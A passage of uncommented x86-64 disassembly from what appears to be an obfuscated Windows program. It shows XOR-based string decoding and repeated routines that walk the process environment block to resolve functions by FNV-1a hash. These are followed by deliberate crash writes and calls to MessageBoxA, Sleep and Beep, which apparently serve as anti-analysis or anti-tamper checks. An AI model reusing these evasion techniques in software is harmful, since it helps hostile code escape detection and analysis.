pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14008b323
jmp 0x14008b460
lea r9, [rbp + 0x7b8]
mov r8d, r12d
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14008b430
lea rcx, [rbp + 0x7b8]
call fcn.14004f330
mov dword [rbp + 0x5d8], 0x43700000
mov dword [rbp + 0x5dc], 0x43898000
lea rcx, [rbp + 0x5d8]
call fcn.140025b20
movsd xmm0, qword [0x140160270]
movsd qword [rbp], xmm0
movzx eax, word [0x140160278]
mov word [rbp + 8], ax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x14008b4d5
mov byte [rbp], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 1], 0x31
xor byte [rbp + 2], 0x32
xor byte [rbp + 3], 0x33
xor byte [rbp + 4], 0x34
xor byte [rbp + 5], 0x35
xor byte [rbp + 6], 0x36
xor byte [rbp + 7], 0x37
xor byte [rbp + 8], 0x38
xor byte [rbp + 9], 0x39
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8d, 0xff
lea rdx, [0x140195530]
lea rcx, [rbp]
call fcn.140047790
call fcn.140021330
mov dword [rsi + 0x114], 0x3f4ccccd
mov dword [rsi + 0x118], 0x3ecccccd
mov qword [rsi + 0x11c], 0x3e4ccccd
mov dword [rbp + 0x5e0], 0x43700000
mov dword [rbp + 0x5e4], 0x439d8000
lea rcx, [rbp + 0x5e0]
call fcn.140025b20
mov rcx, rdi
call fcn.140025920
movaps xmm6, xmmword [0x140163280]
mov dword [rbp + 0x5e8], 0x43820000
mov dword [rbp + 0x5ec], 0x42200000
movsd xmm0, qword [str.bTUZGASE]
movsd qword [rbp + 0x1d8], xmm0
mov eax, dword [0x140160288]
mov dword [rbp + 0x1e0], eax
movzx eax, word [0x14016028c]
mov word [rbp + 0x1e4], ax
movzx eax, byte [0x14016028e]
mov byte [rbp + 0x1e6], al
mov r8d, r12d
cmp ebx, 2
jl 0x14008b6aa
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm2, xmmword [0x1401202d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.bTUZGASE]
xorps xmm2, xmm0
movd dword [rbp + 0x1d8], xmm2
movdqa xmm3, xmmword [0x140163190]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1dc]
xorps xmm2, xmm1
movd dword [rbp + 0x1dc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1d8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14008b6c0
movups xmm0, xmmword [0x140195300]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmmword [rbp + 0xf0], xmm6
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x1401956b0]
mov qword [rsp + 0x28], rax
lea rax, [0x1401956a8]
mov qword [rsp + 0x20], rax
lea r9, [0x1401956a0]
xor r8d, r8d
lea rdx, [rbp + 0x5e8]
lea rcx, [rbp + 0x1d8]
call fcn.14003f4d0
test al, al
je 0x14008c608
lea rax, [rbp + 0x918]
mov qword [rbp + 0x510], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x918], xmm0
mov qword [rbp + 0x928], r12
mov qword [rbp + 0x930], r12
xor r8d, r8d
lea rdx, [0x140114ae4]
lea rcx, [rbp + 0x918]
call fcn.140056330
nop
lea rax, [rbp + 0x8b8]
mov qword [rbp + 0xbf8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x8b8], xmm0
mov qword [rbp + 0x8c8], r12
mov qword [rbp + 0x8d0], r12
mov r8, r14
lea rdx, [0x140195530]
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x14008b7d0
lea rcx, [rbp + 0x8b8]
call fcn.140056330
nop
lea rax, [rbp + 0x8f8]
mov qword [rbp + 0xf0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x8f8], xmm0
mov qword [rbp + 0x908], r12
mov qword [rbp + 0x910], r12
mov r8, r14
lea rax, [0x140195431]
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14008b820
mov rdx, rax
lea rcx, [rbp + 0x8f8]
call fcn.140056330
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x8d8], xmm0
mov qword [rbp + 0x8e8], r12
mov qword [rbp + 0x8f0], r12
lea rax, [0x140195332]
nop dword [rax]
inc r14
cmp byte [rax + r14], 0
jne 0x14008b860
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x8d8]
call fcn.140056330
nop
lea rax, [rbp + 0x918]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x8b8]
lea r8, [rbp + 0x8f8]
lea rdx, [rbp + 0x8d8]
lea rcx, [0x140196af0]
call fcn.1400ba660
cmp byte [0x140196d00], 0
jne 0x14008b937
movsd xmm0, qword [str.qDF_]
movsd qword [rbp + 0x48], xmm0
movzx ecx, word [0x140160298]
mov word [rbp + 0x50], cx
movzx eax, byte [0x14016029a]
mov byte [rbp + 0x48], 0x41
xor byte [rbp + 0x49], 0x31
xor byte [rbp + 0x4a], 0x32
xor byte [rbp + 0x4b], 0x33
xor byte [rbp + 0x4c], 0x34
xor byte [rbp + 0x4d], 0x35
xor byte [rbp + 0x4e], 0x36
xor byte [rbp + 0x4f], 0x37
xor cl, 0x38
mov byte [rbp + 0x50], cl
xor byte [rbp + 0x51], 0x39
xor al, 0x3a
mov byte [rbp + 0x52], al
cmp qword [0x140196d20], 0xf
cmova r15, qword [0x140196d08]
xor r9d, r9d
lea r8, [rbp + 0x48]
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14008c608
movsd xmm0, qword [str.YBRW_a]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x1401602a8]
mov dword [rsp + 0x78], eax
cmp byte [0x1401602ab], 0
je 0x14008bab0
mov r8d, r12d
cmp ebx, 2
jl 0x14008ba6a
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm2, xmmword [0x1401202d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.YBRW_a]
xorps xmm2, xmm0
movd dword [rsp + 0x70], xmm2
movdqa xmm3, xmmword [0x140163190]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x74]
xorps xmm2, xmm1
movd dword [rsp + 0x74], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14008ba80
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x10e0]
call fcn.1400629f0
mov r8, rax
lea rdx, [rbp + 0x1258]
lea rcx, [0x140196af0]
call fcn.1400bddd0
nop
cmp qword [rbp + 0x1268], 2
jbe 0x14008c3de
mov ecx, dword [0x1401966fc]
call fcn.14006af70
test al, al
je 0x14008bd0f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008bb86
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008bb86
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008bb81
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008bb60
cmp r8d, 0xcded1a85
je 0x14008bb8b
test r9d, r9d
jne 0x14008bb40
mov rax, qword [rax]
jmp 0x14008bb10
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008bc36
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008bc36
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008bc31
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008bc10
cmp r8d, 0xe80fd3a
je 0x14008bc3b
test r9d, r9d
jne 0x14008bbf0
mov rax, qword [rax]
jmp 0x14008bbc0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008bce6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008bce6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008bce1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008bcc0
cmp r8d, 0xa52bcaf9
je 0x14008bceb
test r9d, r9d
jne 0x14008bca0
mov rax, qword [rax]
jmp 0x14008bc70
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
call fcn.14006ac80
test al, al
je 0x14008bf2f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008bda6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008bda6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008bda1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008bd80
cmp r8d, 0xcded1a85
je 0x14008bdab
test r9d, r9d
jne 0x14008bd60
mov rax, qword [rax]
jmp 0x14008bd30
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008be56
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008be56
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008be51
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008be30
cmp r8d, 0xe80fd3a
je 0x14008be5b
test r9d, r9d
jne 0x14008be10
mov rax, qword [rax]
jmp 0x14008bde0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008bf06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008bf06
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008bf01
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008bee0
cmp r8d, 0xa52bcaf9
je 0x14008bf0b
test r9d, r9d
jne 0x14008bec0
mov rax, qword [rax]
jmp 0x14008be90
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
cmp byte [0x1401966f0], 0
je 0x14008c14f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008bfc6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008bfc6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008bfc1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008bfa0
cmp r8d, 0xcded1a85
je 0x14008bfcb
test r9d, r9d
jne 0x14008bf80
mov rax, qword [rax]
jmp 0x14008bf50
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008c076
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008c076
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008c071
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008c050
cmp r8d, 0xe80fd3a
je 0x14008c07b
test r9d, r9d
jne 0x14008c030
mov rax, qword [rax]
jmp 0x14008c000
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008c126
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008c126
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008c121
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008c100
cmp r8d, 0xa52bcaf9
je 0x14008c12b
test r9d, r9d
jne 0x14008c0e0
mov rax, qword [rax]
jmp 0x14008c0b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
mov eax, dword [0x1401602ac]
mov dword [rsp + 0x60], eax
movzx eax, word [0x1401602b0]
mov word [rsp + 0x64], ax
mov byte [rsp + 0x60], reloc.WLDAP32.dll_Ordinal_46
xor byte [rsp + 0x61], 0x31
xor byte [rsp + 0x62], 0x32
xor byte [rsp + 0x63], 0x33
xor byte [rsp + 0x64], 0x34
xor byte [rsp + 0x65], 0x35
xor edx, edx
lea rcx, [rsp + 0x60]
call fcn.14006acc0
test al, al
je 0x14008c3af
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008c226
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008c226
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008c221
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008c200
cmp r8d, 0xcded1a85
je 0x14008c22b
test r9d, r9d
jne 0x14008c1e0
mov rax, qword [rax]
jmp 0x14008c1b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008c2d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008c2d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008c2d1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008c2b0
cmp r8d, 0xe80fd3a
je 0x14008c2db
test r9d, r9d
jne 0x14008c290
mov rax, qword [rax]
jmp 0x14008c260
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008c386
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008c386
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008c381
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008c360
cmp r8d, 0xa52bcaf9
je 0x14008c38b
test r9d, r9d
jne 0x14008c340
mov rax, qword [rax]
jmp 0x14008c310
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
mov edx, Ordinal_301
lea ecx, [rdx - 0x32]
call qword [sym.imp.KERNEL32.dll_Beep]
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x1401966f9], 0
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x1401966f2], 1
jmp 0x14008c5ef
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008c466
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008c466
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008c461
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008c440
cmp r8d, 0xcded1a85
je 0x14008c46b
test r9d, r9d
jne 0x14008c420
mov rax, qword [rax]
jmp 0x14008c3f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008c516
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008c516
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008c511
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008c4f0
cmp r8d, 0xe80fd3a
je 0x14008c51b
test r9d, r9d
jne 0x14008c4d0
mov rax, qword [rax]
jmp 0x14008c4a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008c5c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008c5c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008c5c1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
